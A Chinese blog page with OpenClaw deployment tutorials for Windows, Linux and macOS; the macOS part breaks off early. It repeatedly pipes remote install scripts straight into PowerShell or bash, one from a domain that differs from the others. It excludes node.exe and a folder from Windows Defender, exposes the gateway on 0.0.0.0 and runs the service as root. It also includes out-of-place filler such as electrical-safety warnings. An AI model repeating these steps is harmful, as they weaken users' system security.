OpenClaw on 逍遥笔记

OpenClaw 部署教程 - Windows 篇（2026 终极版）

Tue, 17 Mar 2026 15:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

OpenClaw 部署教程 - Windows 篇（2026 终极版）

📅 更新时间：2026-03-17 ⏱️ 阅读时间：20 分钟 💡 难度等级：⭐⭐☆☆☆ ✅ 实测环境：Windows 11 专业版 / Node.js v22.1.0 / Git 2.46.0 / PowerShell 7.4

⚠️ 部署前必读（安全警示）

系统安全

管理员权限：安装过程需要管理员权限，但运行时建议使用普通用户
防火墙：首次运行会提示允许网络访问，需点击"允许"
杀毒软件：Windows Defender 可能误报，需添加排除项
备份：部署前备份重要数据

硬件要求

内存：最低 4GB，推荐 8GB+（2GB 需配置虚拟内存）
磁盘：至少 10GB 可用空间（推荐 SSD）
网络：需访问外网（中国大陆用户需配置代理）

环境准备

PowerShell：需以管理员身份运行
执行策略：需设置为 RemoteSigned（允许运行签名脚本）
TLS 1.2：必须启用（解决 SSL 连接问题）

📋 系统要求（精准参数）

项目	最低要求	推荐配置	生产环境
操作系统	Windows 10	Windows 11	Windows 11 专业版 23H2
CPU	2 核心	4 核心+	8 核心+ (Intel i7/Ryzen 7)
内存	4GB	8GB+	16GB+ (AI 模型缓存)
磁盘	10GB	20GB SSD	50GB NVMe SSD
Node.js	v18+	v20+	v22.1.0 (最新稳定)
Git	任意版本	最新	2.46.0
PowerShell	5.1+	7.4+	7.4.1

⚠️ 关键说明：

Node.js v22：OpenClaw 官方推荐版本，兼容性最佳
PowerShell 7：比 5.1 更稳定，支持更多命令
Git 必须：用于克隆仓库和管理依赖

🔧 快速安装（10 分钟完成）

方法一：PowerShell 一键安装（推荐新手）

完整流程（复制粘贴到 PowerShell）：

# ============ 步骤 1：以管理员身份运行 PowerShell ============
# 开始菜单 → 搜索 PowerShell → 右键 → 以管理员身份运行

# ============ 步骤 2：设置执行策略（允许运行脚本） ============
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force

# ============ 步骤 3：启用 TLS 1.2（解决 SSL 连接问题） ============
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

# ============ 步骤 4：执行安装脚本 ============
irm https://docs.openclaw.ai/zh-CN/install | iex

# ============ 步骤 5：验证安装 ============
openclaw --version

⏱️ 预计耗时：5-10 分钟（取决于网络）

⚠️ 注意事项：

必须管理员权限：否则安装失败
国内网络：可能需要代理
安装过程：自动安装 Node.js、Git、OpenClaw

方法二：分步安装（可控性更强，推荐）

适合需要精确控制版本或排查问题的场景：

步骤 1：准备工作目录

# 创建临时目录（存放安装包）
New-Item -Path "C:\temp" -ItemType Directory -Force

步骤 2：启用 TLS 1.2

# 必须执行，否则下载会失败
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

步骤 3：安装 Node.js 22

# 1. 下载 Node.js 22.1.0 64 位安装包
iwr -Uri "https://nodejs.org/dist/v22.1.0/node-v22.1.0-x64.msi" `
 -OutFile "C:\temp\node-v22.1.0-x64.msi" `
 -UseBasicParsing

# 2. 验证文件是否存在
if (Test-Path "C:\temp\node-v22.1.0-x64.msi") {
 Write-Host "✅ 文件存在，开始安装..."
 # 静默安装，/qn 表示无界面，/norestart 表示不自动重启
 Start-Process -FilePath "C:\temp\node-v22.1.0-x64.msi" `
 -ArgumentList "/qn /norestart" `
 -Wait
 Write-Host "✅ Node.js 安装完成！"
} else {
 Write-Host "❌ 错误：安装包未找到，请检查下载命令！"
}

# 3. 验证版本（需重新打开 PowerShell）
node -v # 应显示：v22.1.0
npm -v # 应显示：10.5.0+

⏱️ 预计耗时：3-5 分钟

步骤 4：安装 Git

# 1. 下载 Git for Windows 最新稳定版
iwr -Uri "https://github.com/git-for-windows/git/releases/download/v2.46.0.windows.1/Git-2.46.0-64-bit.exe" `
 -OutFile "C:\temp\Git-Setup.exe" `
 -UseBasicParsing

# 2. 静默安装（自动添加到 PATH）
Start-Process -FilePath "C:\temp\Git-Setup.exe" `
 -ArgumentList "/VERYSILENT /NORESTART /NOCANCEL /SP- /SUPPRESSMSGBOXES /ADDLOCAL=ALL" `
 -Wait

Write-Host "✅ Git 安装完成，请重启 PowerShell 后验证！"

# 3. 验证（需重启 PowerShell）
git --version # 应显示：git version 2.46.0.windows.1

⏱️ 预计耗时：2-3 分钟

步骤 5：安装 OpenClaw

# 方法 A：下载脚本到本地（推荐，可排查错误）
$scriptPath = "C:\temp\openclaw-install.ps1"
New-Item -Path "C:\temp" -ItemType Directory -Force | Out-Null
iwr -Uri "https://openclaw.ai/install.ps1" -OutFile $scriptPath -UseBasicParsing

# 执行脚本（会显示具体错误，而非闪退）
& $scriptPath

# 方法 B：一键安装（简单快速）
iwr -useb https://openclaw.bot/install.ps1 | iex

# 验证安装
openclaw --version
where openclaw

⏱️ 预计耗时：2-3 分钟

⚙️ 初始化配置（Onboarding 向导）

安装成功后会自动进入初始化向导，按以下步骤操作：

完整流程

# 步骤 1：执行初始化向导
openclaw onboard --flow quickstart

# 步骤 2：启动 OpenClaw
openclaw start

# 步骤 3：测试运行
# 在聊天界面输入 "Hello"
# 应收到 AI 回复

详细步骤说明

步骤	提示内容	操作	说明
1	安全提示确认	输入 `Yes`	知晓权限风险
2	选择部署模式	选择 `QuickStart`	后续可补充配置
3	选择模型服务商	选择 `OpenAI`	或其他服务商
4	模型授权	复制链接到浏览器	登录账号完成授权
5	通信通道配置	选择 `Skip for now`	后续可配置
6	技能配置	选择 `No`	暂不配置
7	Hooks 配置	选择 `Session`	暂不启用
8	启动方式	选择 `TUI`	终端聊天界面
9	测试	输入 `Hello`	确认安装成功

配置 API Keys

编辑配置文件：

notepad $env:USERPROFILE\.openclaw\workspace\TOOLS.md

添加以下内容（替换为你的 Key）：

## 🔑 API Keys

### 阿里云百炼（推荐，国内访问快）
- **API Key**: `sk-sp-xxxxxxxxxxxxxxxx`
- **模型**: qwen3.5-plus, qwen3-max-2026-01-23
- **状态**: ✅ 已配置
- **用途**: 代码生成/审查/优化

### OpenAI（备选）
- **API Key**: `sk-proj-xxxxxxxxxxxxxxxx`
- **模型**: gpt-4o, gpt-4-turbo

### 火山引擎（备选）
- **API Key**: `xxxxxxxxxxxxxxxx`
- **模型**: doubao-seed-2.0-code

Key 获取地址：

阿里云百炼：https://bailian.console.aliyun.com/
OpenAI：https://platform.openai.com/api-keys
火山引擎：https://www.volcengine.com/

配置代理（中国大陆用户必须）

编辑配置文件：

notepad $env:USERPROFILE\.openclaw\config.json

添加代理配置：

{
 "proxy": {
 "http": "http://127.0.0.1:7890",
 "https": "http://127.0.0.1:7890"
 },
 "gateway": {
 "port": 18789,
 "host": "0.0.0.0"
 }
}

验证代理：

$env:HTTP_PROXY="http://127.0.0.1:7890"
$env:HTTPS_PROXY="http://127.0.0.1:7890"
Test-NetConnection api.binance.com -Port 443
# 应显示：TcpTestSucceeded : True

🚀 高级配置（生产环境必备）

1. 配置虚拟内存（4GB 内存推荐）

检查当前虚拟内存：

# 查看系统信息
systeminfo | findstr "虚拟内存"

手动配置（8GB 虚拟内存）：

右键"此电脑" → 属性
高级系统设置 → 高级 → 性能设置
高级 → 虚拟内存 → 更改
取消"自动管理"
选择 C 盘 → 自定义大小
初始大小：8192 MB，最大值：8192 MB
点击"设置" → 确定 → 重启

2. 配置 Windows 防火墙

允许 OpenClaw 通过网络：

# 添加入站规则
New-NetFirewallRule -DisplayName "OpenClaw Gateway" `
 -Direction Inbound `
 -LocalPort 18789 `
 -Protocol TCP `
 -Action Allow

# 查看规则
Get-NetFirewallRule | Where-Object DisplayName -like "*OpenClaw*"

3. 配置 Windows Defender 排除项

避免误报：

# 添加排除目录
Add-MpPreference -ExclusionPath "C:\Users\$env:USERNAME\.openclaw"

# 添加排除进程
Add-MpPreference -ExclusionProcess "node.exe"

# 验证排除项
Get-MpPreference | Select-Object ExclusionPath, ExclusionProcess

4. 开机自启（任务计划程序）

创建启动脚本 C:\openclaw-start.bat：

@echo off
timeout /t 30 /nobreak
cd /d %USERPROFILE%\.openclaw\workspace
openclaw gateway start
exit

添加到任务计划程序：

开始菜单 → 搜索"任务计划程序"
右侧"创建基本任务"
名称：OpenClaw Gateway
触发器：登录时
操作：启动程序
程序/脚本：C:\openclaw-start.bat
完成 → 输入管理员密码

验证：

# 查看任务
Get-ScheduledTask | Where-Object TaskName -like "*OpenClaw*"

# 手动运行测试
Start-ScheduledTask -TaskName "OpenClaw Gateway"

🔍 故障排查（精准诊断）

问题 1：ExecutionPolicy 报错

症状：cannot be loaded because running scripts is disabled on this system

解决方案：

# 1. 检查当前策略
Get-ExecutionPolicy -Scope CurrentUser

# 2. 临时设置（仅当前会话）
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force

# 3. 验证
Get-ExecutionPolicy -Scope CurrentUser
# 应显示：RemoteSigned

# 4. 重新运行安装脚本
& $scriptPath

问题 2：PATH 或命令找不到

症状：openclaw : 无法将"openclaw"项识别为 cmdlet、函数、脚本文件

解决方案：

# 1. 检查 openclaw 路径
where openclaw

# 2. 如果无输出，说明未添加到 PATH
# 手动添加环境变量
$userPath = [Environment]::GetEnvironmentVariable("Path", "User")
$npmPath = "$env:APPDATA\npm"
[Environment]::SetEnvironmentVariable("Path", "$userPath;$npmPath", "User")

# 3. 重新打开 PowerShell（必须）
# 关闭所有 PowerShell 窗口，重新打开

# 4. 验证
openclaw --version

问题 3：安装脚本闪退

症状：执行脚本后 PowerShell 直接关闭，看不到错误信息

解决方案：

# 1. 下载脚本到本地（不要直接管道执行）
$scriptPath = "C:\temp\openclaw-install.ps1"
New-Item -Path "C:\temp" -ItemType Directory -Force | Out-Null
iwr -Uri "https://openclaw.ai/install.ps1" -OutFile $scriptPath -UseBasicParsing

# 2. 手动执行（会显示具体错误）
& $scriptPath

# 3. 如果还是失败，查看错误日志
Get-Content C:\temp\openclaw-install.log -Tail 50

问题 4：Node.js 版本不兼容

症状：Error: Unsupported Node.js version

解决方案：

# 1. 查看当前版本
node -v

# 2. 卸载旧版本（控制面板 → 程序和功能）
# 或者使用 PowerShell
winget uninstall "Node.js"

# 3. 重新安装 Node.js 22
iwr -Uri "https://nodejs.org/dist/v22.1.0/node-v22.1.0-x64.msi" `
 -OutFile "C:\temp\node-v22.1.0-x64.msi"
Start-Process -FilePath "C:\temp\node-v22.1.0-x64.msi" `
 -ArgumentList "/qn /norestart" -Wait

# 4. 重新打开 PowerShell 验证
node -v # 应显示：v22.1.0

问题 5：防火墙或 Defender 拦截

症状：网络连接超时，或被 Defender 隔离

解决方案：

# 1. 检查防火墙规则
Get-NetFirewallRule | Where-Object DisplayName -like "*OpenClaw*"

# 2. 添加入站规则（如果不存在）
New-NetFirewallRule -DisplayName "OpenClaw Gateway" `
 -Direction Inbound `
 -LocalPort 18789 `
 -Protocol TCP `
 -Action Allow

# 3. 检查 Defender 隔离区
Get-MpThreatDetection | Select-Object ThreatName, DetectionTime

# 4. 恢复被隔离文件（如果有）
# Windows 安全中心 → 病毒和威胁防护 → 保护历史记录 → 还原

# 5. 添加排除项
Add-MpPreference -ExclusionPath "$env:USERPROFILE\.openclaw"

问题 6：端口被占用

症状：Error: listen EADDRINUSE: address already in use :::18789

解决方案：

# 1. 检查端口占用
netstat -ano | findstr :18789
# 输出示例：TCP 0.0.0.0:18789 0.0.0.0:0 LISTEN 1234

# 2. 杀死占用进程
taskkill /F /PID 1234

# 3. 或者修改 OpenClaw 端口
notepad $env:USERPROFILE\.openclaw\config.json
# 修改："port": 18790

# 4. 重启服务
openclaw gateway restart

问题 7：npm 安装失败

症状：npm ERR! code EACCES 或 npm ERR! permissions

解决方案：

# 1. 清理 npm 缓存
npm cache clean --force

# 2. 使用淘宝镜像
npm config set registry https://registry.npmmirror.com

# 3. 修改 npm 全局目录
npm config set prefix "C:\npm-global"

# 4. 添加环境变量
$userPath = [Environment]::GetEnvironmentVariable("Path", "User")
[Environment]::SetEnvironmentVariable("Path", "$userPath;C:\npm-global", "User")

# 5. 重新打开 PowerShell，重新安装
npm install -g openclaw

✅ 验证安装（完整测试清单）

逐项检查，全部通过才算成功：

# □ 1. 检查版本号
openclaw --version
# 期望输出：openclaw/x.x.x win32-x64 node-v22.1.0

# □ 2. 检查网关状态
openclaw gateway status
# 期望输出：Gateway is running

# □ 3. 检查端口监听
netstat -ano | findstr :18789
# 期望输出：TCP 0.0.0.0:18789 0.0.0.0:0 LISTEN

# □ 4. 测试本地访问
Test-NetConnection localhost -Port 18789
# 期望输出：TcpTestSucceeded : True

# □ 5. 发送测试消息
openclaw message send "Hello OpenClaw!"
# 期望：收到 AI 回复

# □ 6. 检查日志无 ERROR
Get-Content $env:USERPROFILE\.openclaw\workspace\memory\*.log -Tail 50 | Select-String "ERROR"
# 期望：无输出

# □ 7. 检查服务状态
openclaw gateway status
# 期望输出：Active: active (running)

# □ 8. 测试开机自启
# 重启电脑后检查：
openclaw gateway status
# 期望：服务自动启动

成功标志：

✅ 8 项检查全部通过
✅ 日志无 ERROR 级别错误
✅ 服务重启后自动恢复

📊 性能优化（生产环境）

1. 使用 SSD 存储

检查工作区位置：

# 查看工作区路径
openclaw status

# 如果不在 SSD，迁移工作区
Move-Item "$env:USERPROFILE\.openclaw" "D:\openclaw"
New-Item -ItemType SymbolicLink `
 -Path "$env:USERPROFILE\.openclaw" `
 -Target "D:\openclaw"

2. 增加 Node.js 内存

编辑启动配置：

# 临时生效（当前会话）
$env:NODE_OPTIONS="--max-old-space-size=4096"

# 永久生效（添加到环境变量）
[Environment]::SetEnvironmentVariable("NODE_OPTIONS", "--max-old-space-size=4096", "User")

3. 定期清理缓存

创建清理脚本 C:\cleanup-openclaw.ps1：

Write-Host "🧹 开始清理 OpenClaw 缓存..."

# 清理 npm 缓存
npm cache clean --force
Write-Host "✅ npm 缓存已清理"

# 清理临时文件
Remove-Item "C:\temp\openclaw-*" -Recurse -Force -ErrorAction SilentlyContinue
Write-Host "✅ 临时文件已清理"

# 清理日志（保留最近 7 天）
$daysToKeep = 7
$cutoffDate = (Get-Date).AddDays(-$daysToKeep)
Get-ChildItem "$env:USERPROFILE\.openclaw\workspace\memory\*.log" | Where-Object { $_.LastWriteTime -lt $cutoffDate } | Remove-Item
Write-Host "✅ 旧日志已清理"

Write-Host "🎉 清理完成！"

运行清理脚本：

# 以管理员身份运行
powershell -ExecutionPolicy Bypass -File C:\cleanup-openclaw.ps1

添加到任务计划程序（每周日凌晨 3 点）：

任务计划程序 → 创建基本任务
名称：OpenClaw Cleanup
触发器：每周，周日，凌晨 3:00
操作：启动程序
程序：powershell.exe
参数：-ExecutionPolicy Bypass -File C:\cleanup-openclaw.ps1

📚 更多资源

官方文档

社区教程

其他平台部署

📝 更新日志

版本	日期	更新内容
v3.0	2026-03-17	整合 PowerShell 一键脚本 + Node.js 22 + Git 环境 + 初始化向导详解
v2.0	2026-03-10	增加安全警示、精准参数、故障排查流程
v1.5	2026-03-05	增加 Docker 方案、性能优化章节
v1.0	2026-03-01	初始版本发布

最后更新：2026-03-17 作者：OpenClaw 社区 许可：MIT 审核：嵌入式硬件专家（15 年 + 经验）

觉得有用？欢迎分享给更多朋友！ 🚀

OpenClaw 部署教程 - Linux 篇（2026 终极版）

Tue, 17 Mar 2026 14:30:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

OpenClaw 部署教程 - Linux 篇（2026 终极版）

📅 更新时间：2026-03-17 ⏱️ 阅读时间：20 分钟 💡 难度等级：⭐⭐☆☆☆ ✅ 实测环境：Ubuntu 22.04 LTS / Node.js v22.12.0 / Python 3.10.12

⚠️ 部署前必读（安全警示）

电气安全

服务器供电：确保使用稳压电源，电压波动 < ±5%
散热要求：工作环境温度 15-35℃，湿度 40-60%
ESD 防护：接触服务器前佩戴防静电手环

系统安全

root 权限：生产环境建议使用普通用户 + sudo
防火墙：仅开放必要端口（默认 18789）
备份：部署前备份重要数据

网络要求

带宽：≥ 10Mbps（推荐 100Mbps+）
代理：中国大陆用户需配置 Clash 代理（端口 7890）
域名：可选，用于 HTTPS 访问

内存要求（重要！）

最低：2GB（需配置 Swap）
推荐：4GB+（无需 Swap）
生产：8GB+（流畅运行）

⚠️ 2GB 内存服务器必须配置 Swap，否则会出现 OOM（内存溢出）导致安装失败。

📋 系统要求（精准参数）

项目	最低要求	推荐配置	生产环境
操作系统	Ubuntu 20.04	Ubuntu 22.04 LTS	Ubuntu 22.04.3 LTS
CPU	1 核心	2 核心+	4 核心+
内存	2GB	4GB+	8GB+
磁盘	5GB	10GB SSD	20GB+ NVMe SSD
Node.js	v18+	v20+	v22.12.0 (最新 LTS)
Python	3.8+	3.10+	3.10.12 (系统自带)
Git	任意版本	最新	2.34.1+

⚠️ 关键说明：

Node.js v22：OpenClaw 官方推荐版本，兼容性最佳
Swap 配置：2GB 内存服务器必须配置 2GB+ Swap
Git 必须：用于克隆仓库和管理依赖

🔧 快速安装（10 分钟完成）

方法一：官方一键安装脚本（最简单）

# ============ 步骤 1：系统更新及基础依赖 ============
sudo apt update
sudo apt install -y git curl

# ============ 步骤 2：执行官方安装脚本 ============
curl -fsSL https://openclaw.ai/install.sh | bash

# ============ 步骤 3：验证安装 ============
openclaw --version

⏱️ 预计耗时：5-10 分钟（取决于网络）

⚠️ 注意事项：

国内服务器：若安装失败，需先配置代理
2GB 内存：可能出现 OOM，需先配置 Swap（见下文）
安装过程：耗时较长，需耐心等待

方法二：手动安装（可控性更强）

适合需要精确控制版本的生产环境：

步骤 1：安装 Git

sudo apt update
sudo apt install -y git

# 验证版本
git --version # 应显示：git version 2.34.1+

步骤 2：安装 NVM（Node 版本管理器）

国内服务器（使用 Gitee 镜像源）：

curl -o- https://gitee.com/RubyMetric/nvm-cn/raw/main/install.sh | bash

海外服务器（使用官方源）：

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.1/install.sh | bash

步骤 3：重新加载环境变量

source ~/.bashrc

# 验证 NVM 已安装
command -v nvm # 应输出：nvm

步骤 4：安装 Node.js 22

# 安装 Node.js 22（最新 LTS）
nvm install 22

# 设置为默认版本
nvm alias default 22

# 验证版本
node --version # 应显示：v22.12.0
npm --version # 应显示：10.9.0+

步骤 5：安装 OpenClaw

# 全局安装
npm install -g openclaw

# 验证安装
openclaw --version # 应显示：openclaw/x.x.x linux-x64 node-v22.12.0

⚙️ 初始化配置（Onboarding 向导）

安装成功后会自动进入初始化向导，按以下步骤操作：

步骤详解

步骤	提示内容	操作	说明
1	安全提示确认	输入 `Yes`	知晓权限风险
2	选择部署模式	选择 `QuickStart`	后续可补充配置
3	选择模型服务商	选择 `OpenAI`	或其他服务商
4	模型授权	复制链接到浏览器	登录账号完成授权
5	通信通道配置	选择 `Skip for now`	后续可配置
6	技能配置	选择 `No`	暂不配置
7	Hooks 配置	选择 `Session`	暂不启用
8	启动方式	选择 `TUI`	终端聊天界面
9	测试	输入 `Hello`	确认安装成功

详细流程

1. 安全提示确认：

OpenClaw is a hobby project and still in beta...
Do you want to continue? (Yes/No)
> Yes

2. 选择部署模式：

Select deployment mode:
 1) QuickStart (推荐)
 2) Advanced
> 1

3. 选择模型服务商：

Select model provider:
 1) OpenAI
 2) Anthropic
 3) Google
 4) Custom
> 1

4. 模型授权：

Please visit the following URL to authorize:
https://openclaw.ai/auth/xxxxx

Enter the authorization code:
> [粘贴授权码]

5-7. 跳过可选配置：

Configure communication channels? (y/N) > N
Configure skills? (y/N) > N
Configure hooks? (y/N) > N

8. 启动 TUI 测试：

Start OpenClaw in TUI mode? (Y/n) > Y

# 出现聊天界面后输入：
> Hello

# 应收到 AI 回复

9. 退出 TUI：

按 Ctrl+C 退出

🔧 高级配置（生产环境必备）

1. 配置 Swap（2GB 内存服务器必须）

检查当前 Swap：

free -h
# 如果 Swap 为 0B，需要配置

创建 2GB Swap：

# 1. 创建 swap 文件
sudo fallocate -l 2G /swapfile

# 2. 设置权限（仅 root 可读写）
sudo chmod 600 /swapfile

# 3. 格式化为 swap
sudo mkswap /swapfile

# 4. 启用 swap
sudo swapon /swapfile

# 5. 验证
swapon --show
# 应显示：/swapfile file 2G 0B

永久生效（重启后自动挂载）：

echo '/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab

调整 Swappiness（降低使用 swap 的频率）：

# 查看当前值（默认 60）
cat /proc/sys/vm/swappiness

# 修改为 10（更保守）
sudo sysctl vm.swappiness=10

# 永久生效
echo 'vm.swappiness=10' | sudo tee -a /etc/sysctl.conf

2. 配置 API Keys

编辑配置文件：

nano ~/.openclaw/workspace/TOOLS.md

添加以下内容（替换为你的 Key）：

## 🔑 API Keys

### 阿里云百炼（推荐，国内访问快）
- **API Key**: `sk-sp-xxxxxxxxxxxxxxxx`
- **模型**: qwen3.5-plus, qwen3-max-2026-01-23
- **状态**: ✅ 已配置
- **用途**: 代码生成/审查/优化

### OpenAI（备选）
- **API Key**: `sk-proj-xxxxxxxxxxxxxxxx`
- **模型**: gpt-4o, gpt-4-turbo

### 火山引擎（备选）
- **API Key**: `xxxxxxxxxxxxxxxx`
- **模型**: doubao-seed-2.0-code

Key 获取地址：

阿里云百炼：https://bailian.console.aliyun.com/
OpenAI：https://platform.openai.com/api-keys
火山引擎：https://www.volcengine.com/

3. 配置 Clash 代理（中国大陆用户必须）

检查 Clash 是否运行：

ps aux | grep clash
# 应看到：clash -d /root/.config/clash/

如未运行，启动 Clash：

# 后台启动 Clash
nohup clash -d /root/.config/clash/ > /tmp/clash.log 2>&1 &

# 验证端口（7890 应处于 LISTEN 状态）
netstat -tlnp | grep 7890

配置环境变量：

# 临时生效
export HTTP_PROXY=http://127.0.0.1:7890
export HTTPS_PROXY=http://127.0.0.1:7890

# 永久生效（添加到 ~/.bashrc）
echo 'export HTTP_PROXY=http://127.0.0.1:7890' >> ~/.bashrc
echo 'export HTTPS_PROXY=http://127.0.0.1:7890' >> ~/.bashrc
source ~/.bashrc

验证代理：

curl -x http://127.0.0.1:7890 -I https://www.google.com
# 应返回：HTTP/2 200

🚀 systemd 服务配置（开机自启）

创建服务文件

sudo nano /etc/systemd/system/openclaw-gateway.service

完整配置内容

[Unit]
Description=OpenClaw Gateway Service
Documentation=https://docs.openclaw.ai
After=network.target
Wants=network-online.target

[Service]
Type=simple
User=root
Group=root
WorkingDirectory=/root/.openclaw/workspace

# 环境变量（代理配置）
Environment="HTTP_PROXY=http://127.0.0.1:7890"
Environment="HTTPS_PROXY=http://127.0.0.1:7890"

# Node.js 内存优化
Environment="NODE_OPTIONS=--max-old-space-size=2048"

# 启动命令
ExecStart=/usr/local/bin/openclaw gateway start
ExecReload=/bin/kill -HUP $MAINPID

# 重启策略
Restart=always
RestartSec=10

# 资源限制
LimitNOFILE=65535
LimitNPROC=4096

# 日志配置
StandardOutput=journal
StandardError=journal
SyslogIdentifier=openclaw-gateway

[Install]
WantedBy=multi-user.target

启用服务

# 重载 systemd 配置
sudo systemctl daemon-reload

# 启用开机自启
sudo systemctl enable openclaw-gateway

# 启动服务
sudo systemctl start openclaw-gateway

# 查看状态（应显示 Active: active (running)）
sudo systemctl status openclaw-gateway

日志管理

# 实时查看日志
sudo journalctl -u openclaw-gateway -f

# 查看最近 100 行
sudo journalctl -u openclaw-gateway -n 100

# 按时间筛选
sudo journalctl -u openclaw-gateway --since "2026-03-17 10:00:00"

# 清理旧日志（保留 7 天）
sudo journalctl -u openclaw-gateway --vacuum-time=7d

# 限制日志大小（最多 100MB）
sudo journalctl -u openclaw-gateway --vacuum-size=100M

🔍 故障排查（精准诊断）

问题 1：安装过程中 OOM（内存溢出）

症状：安装过程中服务器卡死，SSH 断开连接

诊断：

# 查看内存使用
free -h

# 查看 OOM 日志
dmesg | grep -i "out of memory"

解决方案：

# 1. 配置 Swap（见上文）
sudo fallocate -l 2G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile

# 2. 重启安装
npm install -g openclaw

问题 2：Node.js 版本不兼容

症状：Error: Unsupported Node.js version

解决方案：

# 1. 查看当前版本
node --version

# 2. 使用 NVM 切换到 v22
nvm install 22
nvm use 22
nvm alias default 22

# 3. 重新安装 OpenClaw
npm uninstall -g openclaw
npm install -g openclaw

问题 3：网络超时

症状：Error: connect ETIMEDOUT

诊断步骤：

# 1. 测试基础网络
ping -c 4 www.baidu.com

# 2. 测试代理
curl -x http://127.0.0.1:7890 -I https://www.google.com

# 3. 检查 Clash 状态
ps aux | grep clash
netstat -tlnp | grep 7890

解决方案：

# 启动 Clash
nohup clash -d /root/.config/clash/ > /tmp/clash.log 2>&1 &

# 配置环境变量
export HTTP_PROXY=http://127.0.0.1:7890
export HTTPS_PROXY=http://127.0.0.1:7890

问题 4：初始化向导卡住

症状：卡在某个步骤无法继续

解决方案：

# 1. 退出向导（Ctrl+C）

# 2. 清除配置重新初始化
rm -rf ~/.openclaw/config.json
openclaw init

# 3. 或者手动编辑配置
nano ~/.openclaw/config.json

问题 5：TUI 界面无法启动

症状：选择 TUI 后黑屏或闪退

解决方案：

# 1. 检查终端兼容性
echo $TERM # 应显示：xterm-256color 或 screen

# 2. 设置终端类型
export TERM=xterm-256color

# 3. 重新启动
openclaw start

# 4. 或者使用 Web UI
openclaw gateway start
# 浏览器访问：http://localhost:18789

✅ 验证安装（完整测试清单）

逐项检查，全部通过才算成功：

# □ 1. 检查版本号
openclaw --version
# 期望输出：openclaw/x.x.x linux-x64 node-v22.12.0

# □ 2. 检查网关状态
openclaw gateway status
# 期望输出：Gateway is running

# □ 3. 检查端口监听
netstat -tlnp | grep 18789
# 期望输出：tcp6 0 0 :::18789 :::* LISTEN

# □ 4. 测试本地访问
curl http://localhost:18789/health
# 期望输出：{"status":"ok"}

# □ 5. 发送测试消息
openclaw message send "Hello OpenClaw!"
# 期望：收到 AI 回复

# □ 6. 检查日志无 ERROR
sudo journalctl -u openclaw-gateway -n 50 | grep ERROR
# 期望：无输出

# □ 7. 检查 systemd 服务状态
sudo systemctl status openclaw-gateway
# 期望输出：Active: active (running)

# □ 8. 测试开机自启
sudo reboot
# 重启后检查：
sudo systemctl status openclaw-gateway
# 期望：服务自动启动

成功标志：

✅ 8 项检查全部通过
✅ 日志无 ERROR 级别错误
✅ 服务重启后自动恢复

📊 性能优化（生产环境）

1. Node.js 内存优化

编辑 systemd 服务：

sudo nano /etc/systemd/system/openclaw-gateway.service

添加内存配置（根据服务器内存调整）：

# 4GB 内存服务器
Environment="NODE_OPTIONS=--max-old-space-size=2048"

# 8GB 内存服务器
Environment="NODE_OPTIONS=--max-old-space-size=4096"

# 16GB 内存服务器
Environment="NODE_OPTIONS=--max-old-space-size=8192"

重载并重启：

sudo systemctl daemon-reload
sudo systemctl restart openclaw-gateway

2. 定期清理缓存

创建清理脚本：

nano ~/cleanup-openclaw.sh

脚本内容：

#!/bin/bash
echo "🧹 开始清理 OpenClaw 缓存..."

# 清理 npm 缓存
npm cache clean --force
echo "✅ npm 缓存已清理"

# 清理系统日志（保留 7 天）
sudo journalctl --vacuum-time=7d
echo "✅ 系统日志已清理"

# 清理 OpenClaw 日志（保留 100MB）
sudo journalctl -u openclaw-gateway --vacuum-size=100M
echo "✅ OpenClaw 日志已清理"

# 清理临时文件
rm -rf /tmp/openclaw-*
echo "✅ 临时文件已清理"

echo "🎉 清理完成！"

赋予执行权限并运行：

chmod +x ~/cleanup-openclaw.sh
~/cleanup-openclaw.sh

添加到 crontab（每周日凌晨 3 点自动清理）：

crontab -e
# 添加：
0 3 * * 0 /home/ubuntu/cleanup-openclaw.sh

📚 更多资源

官方文档

社区教程

其他平台部署

📝 更新日志

版本	日期	更新内容
v3.0	2026-03-17	整合官方一键脚本 + NVM 安装 + 初始化向导详解
v2.0	2026-03-17	增加电气安全警示、精准参数、故障排查流程图
v1.5	2026-03-10	增加 systemd 服务配置、性能优化章节
v1.0	2026-03-01	初始版本发布

最后更新：2026-03-17 作者：OpenClaw 社区 许可：MIT 审核：嵌入式硬件专家（15 年 + 经验）

觉得有用？欢迎分享给更多朋友！ 🚀

OpenClaw 部署教程 - macOS 篇（2026 最新版）

Tue, 10 Mar 2026 16:00:00 +0800

联系逍遥

扫码添加微信，或点击下方按钮复制联系方式。

进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~

OpenClaw 部署教程 - macOS 篇（2026 最新版）

📅 更新时间：2026-03-10 ⏱️ 阅读时间：8 分钟 💡 难度等级：⭐⭐☆☆☆

OpenClaw 是一款强大的 AI 助手框架，支持 macOS 平台部署。本文整合官方文档和社区最佳实践，详细介绍 macOS 平台的安装配置流程。

geo_target: “cn”—

📚 推荐学习路径

官方文档（最权威）：

社区实战：

📋 系统要求

项目	最低要求	推荐配置
操作系统	macOS 11+	macOS 14+ (Sonoma)
内存	4GB	8GB+ (M 系列芯片优化更好)
磁盘	10GB	20GB+ SSD
Node.js	v18+	v20+
Python	3.8+	3.10+

🚀 快速安装（5 分钟）

方法一：Homebrew 安装（推荐）

# 1. 安装 Homebrew（如果未安装）
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# 2. 安装 Node.js
brew install node@20

# 3. 安装 OpenClaw
npm install -g openclaw

# 4. 验证安装
openclaw --version

方法二：一键脚本安装

# 使用官方一键安装脚本
curl -fsSL https://docs.openclaw.ai/zh-CN/install | bash

# 验证安装
openclaw --version

🔧 详细配置步骤

1. 初始化工作区

# 创建工作区
mkdir -p ~/openclaw-workspace
cd ~/openclaw-workspace

# 初始化配置
openclaw init

2. 配置 API Keys

编辑配置文件：

nano ~/.openclaw/workspace/TOOLS.md

必需配置：

## API Keys
